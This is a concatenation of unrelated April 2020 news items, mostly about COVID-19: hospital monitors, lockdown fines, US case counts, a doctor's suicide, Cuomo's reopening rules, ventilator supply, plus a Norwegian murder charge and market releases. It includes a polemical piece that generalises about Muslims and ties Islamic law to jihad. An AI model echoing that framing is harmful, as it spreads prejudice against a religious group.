Winkelmann. "As a healthcare provider, I'm honored to be a part of a team who is using their product for good to help those fighting on the frontlines and keep patients and staff safe." Mission Hospital's Chief Executive Officer, Seth Teigen, stated, "Thanks to the generosity of the William, Jeff and Jennifer Gross Family Foundation, Mission Hospital is on the cutting edge of technology with a new innovative way to safely monitor COVID-19 and other highly contagious patients, while keeping our caregivers safe." Baptist Health Public Relations Director, Kadie Agnew said, "Alabamians are no stranger to uniting during times of adversity. At Baptist Health we have experienced a tremendous outpouring of support from businesses, organizations and individuals throughout Central Alabama during the COVID-19 crisis. However, perhaps the most unexpected blessing came when Alabama native, Octavia Spencer, offered to give back to her hometown. Thanks to Octavia's generosity and giving spirit, Baptist Health is now equipped with a new and innovative monitoring system. This advanced technology allows our caregivers to safely observe COVID-19 positive patients and those patients who are under investigation for COVID-19 or another highly contagious illness. This gift provides a priceless peace of mind." For images of Miku monitors integrated into hospitals nationwide, view and download from this DROPBOX LINK For more information on Miku and to find out how the company is working to help mitigate the effects of COVID-19, visit mikucare.com and follow the brand on Instagram @mikucare . About Miku: Based in Los Angeles, CA, Miku is a new technology company that cares about your every breath. The Miku Smart Baby Monitor is the first-of-its-kind, combining proprietary SensorFusion technology, Qualcomm processing, and next generation safety features in a sleek, modern design. About Mission Hospital: Mission Hospital is a state-of-the art, 523-bed acute care regional medical center in Mission Viejo, California. As one of the busiest designated adult and pediatric Level II Trauma Centers in the state of California, Mission Hospital provides a full range of reputable specialty health care services with highly skilled teams treating a multitude of complex conditions. Services include a full range of expertise in cardiovascular, neuroscience and spine, orthopedics, cancer care, women's services, mental health and wellness, head and neck, and a variety of other specialty services. Mission Hospital in Laguna Beach provides South Orange County coastal communities with 24-hour emergency and intensive care as well as medical-surgical/telemetry services, orthopedics, general and GI surgery. CHOC Children's at Mission Hospital is a 54-bed facility that is the area's only dedicated pediatric hospital.? Fully accredited by The Joint Commission and designated as a Magnet hospital by the American Nurses Credentialing Center for nursing excellence, Mission Hospital is highly recognized for its high quality of care, evidenced through a multitude of healthcare quality benchmarks. Mission Hospital is part of Providence St. Joseph Health, a not-for-profit provider of integrated health care. Together, we work to improve the quality of life in the communities it serves in the tradition of the Sisters of St. Joseph of Orange and Sisters of Providence. For more information, visit? www.mission4health.com .? About Baptist Health: Serving a 14 county area, Baptist Health is the premier healthcare organization in Montgomery, Alabama. Baptist Health is the River Region's largest private sector employer with nearly 5,000 employees. Hospitals in the Baptist system include Baptist Medical Center South, a licensed 454-bed, regional acute care referral center, Baptist Medical Center East, a 150-bed full-service hospital, and Prattville Baptist Hospital, an 85-bed hospital. For more information, visit baptistfirst.org . About Montefiore Health Systems: Montefiore Health System is one of New York's premier academic health systems and is a recognized leader in providing exceptional quality and personalized, accountable care to approximately three million people in communities across the Bronx, Westchester and the Hudson Valley. It is comprised of 11 hospitals, including the Children's Hospital at Montefiore, Burke Rehabilitation Hospital and more than 200 outpatient ambulatory care sites. The advanced clinical and translational research at its medical school, Albert Einstein College of Medicine, directly informs patient care and improves outcomes. From the Montefiore-Einstein Centers of Excellence in cancer, cardiology and vascular care, pediatrics, and transplantation, to its preeminent school-based health program, Montefiore is a fully integrated healthcare delivery system providing coordinated, comprehensive care to patients and their families. For more information please visit www.montefiore.org . Follow us on Twitter and view us on Facebook and YouTube . View original content to download multimedia:http://www.prnewswire.com/news-releases/miku-accelerates-installation-of-its-contact-free-respiratory-monitors-in-hospitals-and-healthcare-facilities-nationwide-301048159.html SOURCE Miku [ Back To TMCnet.com's Homepage ] North Wales police commissioner questions whether coronavirus fines are a sufficient deterrent and calls for lockdown to be extended This article is old - Published: Tuesday, Apr 28th, 2020 The North Wales Police and Crime Commissioner has questioned whether the current fines handed to people who breach the coronavirus lockdown rules are enough of a deterrent. The comments by Plaid Cymrus Arfon Jones follow reports that some are beginning to ignore the restrictions by leaving their homes for non-essential purposes. This weekend police in North Wales highlighted a case where ten people from London travelled to the region to go walking in Snowdonia. Fortunately they were intercepted and turned away, but Mr Jones has raised doubt over whether the fixed penalty notices are sufficient. Speaking on Radio Wales Breakfast this morning, the former police inspector said: We can debate all day long whether the fines are sufficient. The first time its 60, which is reduced to 30 if they pay within a fortnight. If they commit a second offence it doubles to 120, but if youre going to travel all the way from London then how much of a deterrent is that? We do try and encourage and educate people. Its more than just fining them its persuading people to do the right thing and the good news is that although the traffic is increasing, there has been a substantial decrease on previous years. Mr Jones also used his interview to urge both the UK and Welsh Governments to extend the lockdown period beyond the early May Bank Holiday. He said he was very concerned about the possibility of the restrictions being eased before then and causing a second wave of the virus to spread across the country. He said: Myself and Dafydd Llewelyn (Dyfed-Powys Police and Crime Commissioner) went out publicly last weekend, pleading with both governments not to relax the lockdown until after the May 8th bank holiday weekend. People will still make the most of a bank holiday and they will come out. I think the lockdown should be extended beyond that otherwise we may get a second wave of coronavirus infections. WASHINGTON (dpa-AFX) - President Donald Trump says all parts of the country are either in good shape or getting better based on reports that the infection rate has dropped significantly in several hotspots, including New York. Some states such as Texas, Alaska, Georgia, Oklahoma, Tennessee and South Carolina are taking their first steps toward reopening. At a routine White House news conference on Monday, the President said COVID-19 cases in New York area, New Orleans, Detroit, Boston, and Houston are declining. 'Denver, Seattle, Philadelphia, Washington, D.C., Atlanta, Nashville, Indianapolis, and St. Louis are all stable and declining. All parts of the country are either in good shape, (or) getting better. In all cases, getting better. And we're seeing very little that we're going to look at as a superseding hotspot,' he told reporters. The pandemic has so far infected 988,469 people and killed 56,253 others in the country, according to data compiled by the Center for Systems Science and Engineering at Johns Hopkins University. Of all the infections reported in the U.S., 291,996 are in New York, the epicenter of the deadly virus in the U.S. The number of casualties reached 22668 in the state, as of John Hopkins' 7:00 a.m. ET update on Tuesday. Including New York, 10 states have reported more than 1000 deaths due to the deadly virus. New Jersey (6044 deaths and 111188 infections), Michigan (3407 deaths, 38210 infections), Massachusetts (3003 deaths and 56462 infections), Louisiana (1740 deaths, 27068 infections), Illinois (1983 death, 45883 infections), Pennsylvania (1906 deaths, 43648 infections), California (1788 deaths, 45200 infections) Connecticut (2012 deaths, 25997 infections), Florida (1088 deaths, 32138 infections), Georgia (995 deaths, 24212 infections) and Washington (764 deaths, 13686 infections) are the other worst-affected states. In a shocking incident, a top doctor who was fighting coronavirus on war-footing in New York City has ended her life. The Charlottesville Police Department confirmed that 49 year-old Dr Lorna Breen's death on Sunday was suicide. Dr. Breen, who was medical director of the emergency department at New York-Presbyterian Allen Hospital in Manhattan, had returned for duty after recuperating from coronavirus infection. Copyright RTT News/dpa-AFX Kostenloser Wertpapierhandel auf Smartbroker.de Norwegian police detained millionaire Tom Hagen, whose wife Anne-Elisabeth Falkevik Hagen was abducted in October 2018, The Local reported. Ida Melbo Oystese, chief of the Norway's Eastern Police District, said at a press conference on Tuesday morning that Hagen had now been charged "with murder or complicity in the murder" of his wife. "The charge means that the case is now moving into a new phase. In this phase, it is important for me to emphasise that even though Tom Hagen has now been charged, the case is still under investigation and there are several unanswered questions," she said. In 2019, police hypothesized that Hagen's wife was killed. The agency believed that the abduction could be staged to cover up the murder. At the beginning of 2019, it became known that attackers abducted the wife of a major Norwegian investor Tom Hagen on October 31, 2018 and demanded a ransom of 9 million in cryptocurrency. The abductors threatened to kill the woman in case of non-compliance with the conditions. Europol, Interpol, third-party cryptocurrency experts, as well as Kripos and the National Authority for Investigation and Prosecution of Economic and Environmental Crime were involved in the case. In July 2018, the business publication Dagens Naeringsliv published material on the income of her husband who was kidnapped for 11 years from energy and real estate enterprises. The police did not confirm that the publication of this data was related to a crime. Tom Hagen is a Norwegian engineer and major investor. In 1992, he founded the energy company Elkraft AS, which operates in Norway, Sweden, Denmark and Finland. Today, he owns Holding 2 and a number of smaller enterprises. The main business of the Norwegian are energy and real estate investments. In 2018, Hagen took 172nd place in the list of the richest people in Norway according to Capital magazine. His fortune is estimated at nearly $ 200 million. Dr. Lorna M. Breen, the medical director of the emergency department at NewYork-Presbyterian Allen Hospital, died in Virginia, where she was staying, said her father. (NewYork-Presbyterian) NYC ER Doctor Dies From Suicide After Treating COVID-19 Patients, Hospital Offers Condolences The NewYork-Presbyterian Allen Hospital confirmed the death of one of a top emergency room doctor, Lorna Breen, in a statement on Tuesday evening. Words cannot convey the sense of loss we feel today, a statement from the hospital to news outlets said. Dr. Breen is a hero who brought the highest ideals of medicine to the challenging front lines of the emergency department. Our focus today is to provide support to her family, friends, and colleagues as they cope with this news during what is already an extraordinarily difficult time. Breen, 49, worked for Allen Hospital in Upper Manhattan, according to the NewYork-Presbyterian website. Tyler Hawn, a spokesman for the Charlottesville Police Department in Virginia, also confirmed the doctors death and said she committed suicide. The victim was taken to U.V.A. Hospital for treatment, but later succumbed to self-inflicted injuries, Hawn told the New York Times. Her father added the newspaper that the 49-year-old had contracted the CCP (Chinese Communist Party) virus, a type of novel coronavirus, but recovered. Breen had described the onslaught of patients who were dying before they could even be taken out of ambulances, according to her father, Dr. Phillip Breen. A friend and former colleague of Breens told news outlets that she is heartbroken. I originally felt sad and now I just feel devastated, said Dr. Debbie Yi Madhok, ABC7 reported. With all these people who are asking for lockdown to end, what about us? Suicide Hotlines If you are in an emergency in the United States or Canada, please call 911. You can call the National Suicide Prevention Lifeline on 1-800-273-8255. Youth can call the Kids Help Phone on 1-800-668-6868. Muslim advocacy for drinking camel urine is back in the news, this time in connection with the coronavirus, which is especially ironic if not deadly, as will be explained. An "Islamic medicine specialist" and director of a religious-scientific institution in Iran recently called on his countrymen to drink camel urine as the "best cure" for coronavirus and other ailments. Mehdi Sabili, who is affiliated with the Iranian regime, uploaded a video on his Instagram account extolling the virtues of dromedary urine on April 19. The video, which has since gone viral, also depicted him drinking a glass of freshly procured camel urine which he enthused was best drunk "fresh and warm" and calling on fellow Iranians to do the same three times a day for three days (i.e., nine full glasses). Where does this idea come from? As usual and with everything Islamic, the drinking of camel urine for salutary benefits is traced back to Muhammad (and, for Iran's Shias, subsequent imams). According to canonical hadiths or traditions, the prophet medicinally prescribed the ingestion of dromedary urine. Somewhat relatedly, Muhammad's own urine which some of his followers eagerly drank was and continues to be considered a great and salutary blessing, one that even safeguards against the fires of Hell. For faithful Muslims such as Iran's Sabili, because urine-drinking in this case, camels' was recommended by the prophet, it must remain applicable, regardless of what "science" has come to say on the matter. Such is the totalitarian nature of Islamic law, or sharia, which treats not just the Koran, but canonical hadiths as sacred and not to be questioned. Nor is this some sudden, desperate response to the coronavirus. For example, back in 2012, Dr. Zaghlul al-Naggar, a prominent Islamic thinker and the chairman of Egypt's Committee of Scientific Notions in the Koran, revealed on a live television show that a medical center in Marsa Matrouh actually specialized in treating people with camel urine all in accord with the prophet's advice. When another guest challenged al-Naggar, saying urine is where all the body's toxins are carried out "so, shall we drink it for health?" the representative of "Islamic science" responded with arrogance: "I am older than you and more learned than you: you are not going to teach me; I will teach generations of people like you." A few months later, in late 2012, a video appeared showing men collecting camel urine in buckets and giving it to people who, in the narrator's words, are "looking to be healed from influenza, diabetes, infectious diseases, infertility," etc. Several women were shown drinking the camel urine and doing all they could to keep it down and not vomit. The Egyptian narrator concluded by saying he is airing this video not to mock or revile, but to determine "whether we are moving forward, or whether we are moving backwards." Indeed, such is the tragedy. Not only is drinking camel urine not beneficial, but it appears to have been directly linked to a coronavirus outbreak: in 2012, only Saudi Arabia the home of Islam and its holy cities was plagued by another form of coronavirus (MERS-CoV, AKA "Camel Flu"). A whopping 40% of the more than one thousand Saudis who contracted it died. One of its causes, which the World Health Organization strongly warned against, was the drinking of camel urine. Relying on other forms of "sharia medicine" for instance, "inserting velvet oil into the anus" to combat coronavirus has also led to casualties. In Iran alone, a coronavirus patient who was told by a cleric to smell roses as a cure died soon thereafter, and the son of a prominent ayatollah confessed that his father had died because he had trusted so-called "Islamic medicine specialists." In the end, the mentality that extols the ingestion of camel urine is the same mentality that calls for "jihad against infidels." Both are defined by blind obedience to the utterances of Muhammad just as both lead to suffering. Raymond Ibrahim, author most recently of Sword and Scimitar, Fourteen Centuries of War between Islam and the West, is a Shillman fellow at the David Horowitz Freedom Center, a Judith Rosen Friedman fellow at the Middle East Forum, and a distinguished senior fellow at the Gatestone Institute. Social media comes with its own share of the good and the bad. While it is known to be a great place for infotainment, the aspect of instant virality also successfully keeps people on the edge. Now, while that might affect a common man in one way, virality hits celebrities very differently. BCCL Given their wide popularity and mass following, celebrity virality comes with its own share of drawbacks, especially in the case of tweets and comments which become sensational given their harmful or offensive streaks. We have often witnessed celebrities being publicly called out and virtually bashed for their insensitive comments, which forces them to see the wrong in their action and own up to it. Here are 5 celebrities who publicly apologised for their insensitive tweets in recent times. 1. Karan Johar Instagram Karan Johar is known to be pretty active on social media and has kept up the tradition even under lockdown by constantly sharing fun videos featuring his children Roohi and Yash. However, after the director recently came across an online video titled Thank You Celebrities which showed how international celebs are enjoying during the lockdown and forgetting about real peoples struggles, he took to his Twitter account and profusely apologized for lacking emotional foresight and posting insensitive posts on his feed. This hit me hard and I have realised many of my posts may have been insensitive to many...I apologise profusely and wish to add none of it was intentional and came from a place of sharing but clearly may have lacked emotional foresight ....am sorry! https://t.co/MO3kHkDQdo Karan Johar (@karanjohar) April 25, 2020 However, many of his followers have commented saying there is no need for an apology because his intent wasnt particularly wrong. 2. Anand Mahindra BCCL While almost all of Mahindras tweets are well-received by his followers, one of his recent tweets containing a picture of a poor mother and her toddler wearing leaf masks didnt sit well with his follower and comedian Aditi Mittal, wherein he had said Its not just about #MaskIndia but also a greener world. A reminder that nature already provides us with all that we need.. Aditi replied on the tweet with this, Anand, this is NOTHING to be celebrated. There is NO EVIDENCE that wearing a leaf provides ANY kind of protection. They are not doing this environmental awareness, they are doing this because govs who were supposed to provide them this life saving mask have forsaken them. awryaditi (@awryaditi) April 25, 2020 And being the graceful gentleman that Mr Mahindra is, he accepted his oversight and sent out a public apology. Youre right, I can see how my tweet appeared insensitive to the inequity of the situation. Ive deleted it. https://t.co/YL2Ucqrc9e anand mahindra (@anandmahindra) April 25, 2020 3. Divyanka Tripathi Twitter - sakshi3010 TV actress Divyanka Tripathi was called out recently for her insensitive tweet during the early stages of coronavirus outbreak in Maharashtra. With many people practising social distancing, Mumbai roads had become free of traffic jams, which made Divyanka say, With such less traffic in Mumbai, it seems like an opportunity to quickly complete metro, bridges and smooth roads." This didnt sit well with her followers and one of them called out the actor and said: As if the engineers & construction worker life r not important .. such an vague & unrequired tweet at this moment siya mishra.. (@siya_siyamishra) March 17, 2020 Many other users also said that Divyankas tweet was inappropriate, following which the Yeh Hai Mohabbatein actor accepted her error and apologized. My apologies. Point taken. https://t.co/WXQUkRFee1 Divyanka T Dahiya (@Divyanka_T) March 17, 2020 She also went on to add, We all are humans and susceptible to errors. In this volatile & violent social media world, important question is: If someone's capable of realizing and apologizing..ARE YOU CAPABLE OF FORGIVING AND MOVING ON? Should everything be News & point of argument? Where's humanity there? Divyanka T Dahiya (@Divyanka_T) March 17, 2020 4. Akshay Kumar Viral Bhayani End of last year saw a huge uproar on social media when tweets showing actor Akshay Kumar liked a video that mocked the attack on Jamia students amid the mass protests that broke out in the university area in December over the CAA-NRC issue. For people requesting Bollywood stars for raising their voice against police brutality on Jamia students. Here is our Hero @akshaykumar who "likes" a tweet mocking brutal attack on Jamia Milia students. He has now unliked it. #JamiaProtest pic.twitter.com/tgYwOiHDQ6 Mohammed Zubair (@zoo_bear) December 16, 2019 Though Akshay swiftly unliked the post as soon as the news broke, he went ahead and made a public announcement stating, Regarding the like on the tweet of Jamia Milia students, it was by mistake. I was scrolling and accidentally it must have been pressed and when I realised I immediately unliked it as in no way do I support such acts. 5. Vivek Oberoi Twitter - TheReel_in Early last year, actor Vivek Oberoi landed himself in a soup when he shared a rather distasteful meme on his Twitter handle, which linked the exit polls to Aishwarya Rai Bachchans romantic life which also involved him at one point. Twitter - Iam_AJain Following backlash and a notice to himself by the National Commision for Women, Vivek ended up deleting the tweet and extended an apology saying, Even if one woman is offended by my reply to the meme, it calls for remedial action. Apologies...tweet deleted. Sometimes what appears to be funny and harmless at first glance to one, may not be so to others. I have spent the last 10 years empowering more than 2000 underprivileged girls, I cant even think of being disrespectful to any woman ever. Vivek Anand Oberoi (@vivekoberoi) May 21, 2019 Staff at Johannesburg's Charlotte Maxeke hospital were swamped last month when hundreds of panicked locals rushed in for testing after South Africa reported its first coronavirus case. A handful of infections had snowballed to dozens in three days, catching hospitals off guard and exposing a glaring lack of preparedness. Coronavirus has steadily spread across South Africa over the past two months, with 4,793 cases -- the highest in the continent -- and 90 deaths. Almost five weeks of strict lockdown have slowed the increase, buying precious time for hospitals to prepare for an expected surge in infections. Paramedic Albrae Cilliers (L) ties a protective face mask on an incoming visitor. By Michele Spatari (AFP) "The lockdown has given us a chance to stock up on PPE (personal protective equipment), organise our wards and make sure our staff has been trained," said Dr Feroza Motara, emergency department head at Charlotte Maxeke. Epidemiologists say imposing the lockdown when cases were relatively few helped to temporarily flatten the curve. They however warn of an exponential increase once restrictions are lifted -- a move scheduled to begin gradually from May 1. "We needed a bit of time to get prepared," said the government's chief COVID-19 advisor Salim Abdool Karim. "The key is going to be the extent to which we can prepare hospitals." At Charlotte Maxeke, a public facility, suspected patients are now swiftly directed to green tents put up outside and swabbed on the spot by nurses. System might not cope Karim predicted a peak of infections in July and feared the health system might not cope. South Africa's Health Minister Zweli Mkhize said at least 87,000 beds had been freed up for coronavirus patients at public institutions. Field hospitals are being set up as triage facilities to avoid overburdening emergency rooms. Many hospitals have set up emergency tents outside. By Michele Spatari (AFP/File) This week, the minister told parliament that 288 quarantine sites with 23,604 beds would be opened across the country. "If people are not sick at the same time we can actually go quite a long way with those numbers (of beds)," Mkhize said. Quarantine sites will mainly host mild or asymptomatic patients who cannot self-isolate -- an issue for many dwellers living crammed in townships. "We have quite a number who are in hospital not really because they are sick but simply because... they cannot self-isolate at home due to social conditions," said Nosipho Dlamini, who manages Charlotte Maxeke's emergency nursing staff. 80% without health insurance President Cyril Ramaphosa has announced an additional 20 billion rand ($106 million) to adequately equip hospitals. "(Coronavirus) can overwhelm even the best-resourced health system within a matter of weeks," Ramaphosa said. "It is precisely... what we have gone to great lengths to prevent." Over 80 percent of South Africa's 57 million inhabitants have no health insurance and rely on public hospitals. Doctor and Netcare Group Chief Executive Officer (CEO) Richard Friedland (R) explains how to wash hands. By Michele Spatari (AFP/File) Public facilities had less than 18 beds per 10,000 insured patients last year, said a report by the South African non-profit Health Systems Trust. "We had to extend the casualty to the tents outside," said nurse Dlamini, adding that both the pediatrics and gynaecology casualties had been moved. Meanwhile, private healthcare providers have also been gearing up. Anchen Laubscher, director of private hospital chain Netcare, told AFP the group had invested $8 million to "enhance the readiness" of its 1,200 ICUs and $16 million on protective equipment. Protecting medics Staff at Charlotte Maxeke have relied on a mix of public funding, company and community donations to pull together a decent stock of PPE. "There have been shortages of PPE around the entire world," said ICU specialist Abdullah Laher. "It is always a concern for us." Over 200 Cuban health workers have come to South Africa to help in the fight against coronavirus. By Elmond Jiyane (GCIS/AFP/File) Keeping staff healthy will be key in South Africa, where hospitals were understaffed even before the pandemic. Motara's "big worry" was whether her colleagues would be safe, exhausted or suffer emotional trauma. "Then of course there is the bigger picture," she added. "Are we going to have enough PPE? Medication? Ventilators?" Health expert Mosa Moshabela warned that some hospital workers were not being adequately prepared for the challenge ahead. "What is really important is that health workers themselves learn to behave differently," said Moshabela, public health dean at the University of KwaZulu-Natal. "We have not taken enough time to teach them the extra skills and practices that will help them prevent infection." Nurse Dlamini took matters into her own hands and started weekly training sessions after some staff panicked and stopped coming to work. Emergency specialist Jana du Plessis is also training and preparing. "I think we are all worried at this point," she said, adding: "But we have a job to do. This is what we signed up for." sch/sn/ach Syracuse, N.Y. Gov. Andrew Cuomo offered more details today about what regions across the state will need to do to reopen their economies in the weeks ahead. Itll take close monitoring of hospitals, testing and businesses and a willingness to slow down if the coronavirus pandemic worsens, Cuomo said during a press briefing at Upstate Medical University in Syracuse. A region must see a 14-day decline in its hospitalization rate before reopening can begin. Cuomo has been saying for weeks that regions not hit as hard by the pandemic will be able to open sooner than some others. Areas like Central New York would seem to be in a good position to restart earlier. READ MORE: NY State Fair wont happen unless whole state can reopen: Breaks my heart, Cuomo says READ MORE: Cuomo: Nightmare not over, but new NY coronavirus deaths below 400 again Cuomo noted that an average of 7% of virus tests administered in the region over the last two weeks have been positive. That compares with 31% in New York City and on Long Island where the virus' effects have been more severe. Here are a few of Cuomos key points on reopening: Transmission rate Regions looking to reopen must monitor the rate of transmission of the virus to ensure it stays below 1.1, meaning each sick individual gives the virus to 1.1 others. New York's actions against the virus so far have managed to cut its transmission rate below one. Ideally, it will stay there, but it absolutely can't go above 1.1, Cuomo said. At that point, the spread would risk overwhelming the hospital system. Hospitals Hospitals must ensure they have at least 30% of overall and intensive care unit beds available, even after elective surgeries resume. Some hospitals will soon be allowed to restart elective procedures, but they must maintain enough free space to deal with a potential resurgence of the virus or even just a normal spike in seasonal flu cases in the fall. Testing and tracing Cuomo has said repeatedly that any reopening plan must involve widespread testing. People who test positive must then be isolated and their contacts traced and isolated to limit further spread of the virus Cuomo said he'd like to see 30 tests per 1,000 people a month and at least 30 dedicated contact tracers per 100,000 people in any region looking to reopen. Essential workers, people with symptoms of the virus and those who've had contact with symptomatic people should get priority for testing. Testing rules and sites should be heavily advertised, Cuomo said. Regions should also prepare plans for isolation facilities for people who test positive. That will help cut down on patients spreading the virus to their family members. Businesses Industries like construction and manufacturing will be among the first to restart, in part because they should be able to adapt to new rules meant to keep the virus controlled. In Central New York, those sectors employ 46,000 people, Cuomo said. Companies must come up with plans to maintain social distancing in their workplaces and screen people entering their facilities. Businesses should also prepare policies for strict cleaning and sanitation and require masks if workers are in frequent contact with others. Regions must coordinate on schools and transportation and establish a central control room where data on the virus can be collected, analyzed and used to make decisions about further reopening, Cuomo said. Essential workers must get enough testing and equipment. Cuomo first closed schools and businesses in New York in March to slow the spread of the pandemic. The current shutdown orders last until May 15. Cuomo said hell have a decision on further extensions of the closures this week. MORE ON CORONAVIRUS Coronavirus in NY: Cases, maps, charts and resources Coronavirus economy: New Yorkers going weeks with no job, no call from unemployment Cuomo: Many parts of NY will be closed past May 15, heres how others reopen Onondaga County warns of potential coronavirus exposure at Target, Walmart Complete coronavirus coverage on syracuse.com Contact Kevin Tampone anytime: Email | Twitter | Facebook | 315-282-8598 [April 27, 2020] RFID Middleware Market 2019-2023 | Growing Number Of RFID Applications To Boost Growth | Technavio Technavio has been monitoring the RFID middleware market and it is poised to grow by USD 2.49 bn during 2019-2023, progressing at a CAGR of over 11% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200427005639/en/ Technavio has announced its latest market research report titled Global RFID Middleware Market 2019-2023 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Latest Free Sample Report on COVID-19 Impact The market is concentrated, and the degree of concentration will accelerate during the forecast period. Checkpoint Systems Inc., Fujitsu (News - Alert) Ltd., RF Code Inc., TIBCO Software Inc., and Tyco Retail Solutions are some of the major market participants. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Growing number of RFID applications has been instrumental in driving the growth of the market. RFID Middleware Market 2019-2023 : Segmentation RFID Middleware Market is segmented as below: End-user Industrial Transportation and Logistics Retail Healthcare Others Geographic Landscape APAC Europe MEA North America South America To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR31883 RFID Middleware Market 019-2023 : Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our RFID middleware market report covers the following areas: RFID Middleware Market Size RFID Middleware Market Trends RFID Middleware Market Industry Analysis This study identifies growing investments in smart factories as one of the prime reasons driving the RFID middleware market growth during the next few years. RFID Middleware Market 2019-2023 : Vendor Analysis We provide a detailed analysis of around 25 vendors operating in the RFID middleware market, including some of the vendors such as Checkpoint Systems Inc., Fujitsu Ltd., RF Code Inc., TIBCO Software Inc., and Tyco Retail Solutions. Backed with competitive intelligence and benchmarking, our research reports on the RFID middleware market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform RFID Middleware Market 2019-2023 : Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist RFID middleware market growth during the next five years Estimation of the RFID middleware market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the RFID middleware market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of RFID middleware market vendors Table Of Contents: PART 01: EXECUTIVE SUMMARY PART 02: SCOPE OF THE REPORT 2.1 Preface 2.2 Preface 2.3 Currency conversion rates for US$ PART 03: MARKET LANDSCAPE Market ecosystem Market characteristics Market segmentation analysis PART 04: MARKET SIZING Market definition Market sizing 2018 Market size and forecast 2018-2023 PART 05: FIVE FORCES ANALYSIS Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition PART 06: MARKET SEGMENTATION BY END-USER Market segmentation by end-user Comparison by end-user Industrial - Market size and forecast 2018-2023 Transportation and logistics - Market size and forecast 2018-2023 Retail - Market size and forecast 2018-2023 Healthcare - Market size and forecast 2018-2023 Others - Market size and forecast 2018-2023 Market opportunity by end-user PART 07: CUSTOMER LANDSCAPE PART 08: GEOGRAPHIC LANDSCAPE Geographic segmentation Geographic comparison North America - Market size and forecast 2018-2023 APAC - Market size and forecast 2018-2023 Europe - Market size and forecast 2018-2023 MEA - Market size and forecast 2018-2023 South America - Market size and forecast 2018-2023 Key leading countries Market opportunity PART 09: DECISION FRAMEWORK PART 10: DRIVERS AND CHALLENGES Market drivers Market challenges PART 11: MARKET TRENDS Growing interest toward smart retail stores Increase in adoption of data center asset management Growing investment in smart factories PART 12: VENDOR LANDSCAPE Overview Landscape disruption PART 13: VENDOR ANALYSIS Vendors covered Vendor classification Market positioning of vendors Checkpoint Systems Inc. Fujitsu Ltd. RF Code, Inc. TIBCO Software Inc. Tyco Retail Solutions PART 14: APPENDIX Research methodology List of abbreviations Definition of market positioning of vendors PART 15: EXPLORE TECHNAVIO About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200427005639/en/ [ Back To TMCnet.com's Homepage ] A 70-year-old man had a pleasant surprise on Tuesday when police personnel turned up at his residence in Haryana's Panchkula with a birthday cake. The elderly man's children are abroad and he lives alone, said Neha Chauhan, SHO of the Panchkula women police station. A relative of the man had tweeted the Panchkula police commissioner that Karan Puri lives alone and due to the coronavirus lockdown, no one from his neighbourhood or other relatives will be able to visit him on his birthday. ACP Nupur Bishnoi then decided to present the man with a cake, said Chauhan. In the morning, some police personnel, including Chauhan, visited his Panchkula residence. Initially, Puri thought that they had come to enquire about something. In a video shot by the police personnel, he continued saying, My name is Karan Puri, I live alone, I am a senior citizen, you can enter these details in your register. He was surprised when the cops started wishing him happy birthday. They asked him to cut the cake, after which the elderly man turned emotional with tears rolling down his cheeks. We are your family sir, we are your children, the cops tell him. Haryana Chief Minister M L Khattar also wished Puri in a tweet and praised Panchkula police's efforts in taking care of the elderly living alone. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) As American doctors watched their Italian counterparts deny ventilators to senior citizens with coronavirus this year, they clamored for more devices and prepared to live out their greatest fear: denying a dying person the care they need because of a shortage. But weeks after COVID-19 cases peaked in some of the hardest-hit U.S. states, doctors and administrators who spoke with USA TODAY say they are not aware that doctors turned away anyone for a ventilator. At the worst, some patients shared machines. There was a lot of discussion about what would happen if we got to a place like that, said Michelle Hood, the chief operating officer of the American Hospital Association. Clinical leadership teams went through the thought process of what would happen. To the best of my knowledge we have not had to make that rationing decision. Hospitals did not have to use the triage plans their states drew up to decide who gets ventilators during a shortage. Instead, clinicians used other devices to pump oxygen into gasping patients, to prevent the vent as University of Chicago doctors called it. And, doctors say, the lockdowns and other measures to slow the spread of the virus helped hold down caseloads just enough to make it to the other side of the peak. It worked just in time in New Jersey, said Shereef Elnahal, the CEO of University Hospital in Newark. Had we (peaked) a week later or two weeks later, we would have seen an overwhelming overload of our healthcare system. The curve flattened just early enough for us to not have to make those agonizing decisions, Elnahal said. What it shows you, though, is that if were not vigilant, for example in the fall, about tracking these cases closely and taking action early then we could face that easily. Now, as public health officials warn about a fall resurgence of the virus, the ventilator supply is getting bigger. A nationwide hospital association is helping hospitals share about 5,000 ventilators. And the federal government has ordered an additional 187,000, with the first batch coming by May 4. Story continues Peaks were earlier and flatter Hospitals in hard-hit areas needed fewer ventilators than expected, experts say, because social distancing and lockdowns meant that COVID-19 cases peaked earlier and at lower numbers. The number of new coronavirus cases in New York showed signs of reaching a peak in early April. Thats nearly a month earlier than the early May summit that Gov. Andrew Cuomo had predicted in mid-March. Elnahal said his New Jersey hospitals COVID-19 admissions peaked on April 10, earlier than he expected. He said the timeline kept getting earlier every time state officials ran the models. Over time that date crept up by about a week, he said. On April 15, New York sent 100 ventilators to Michigan and 50 to Maryland. The following day, New York sent 100 to New Jersey. Thats a sign that the state has extra even though Cuomo originally wanted 30,000 and didnt get nearly that amount. Medical professionals arent faulting Cuomo for asking for so many ventilators because he was planning for the worst-case scenario. Responsible leadership at all levels needs to plan for the worst, Elnahal said. Sharing a 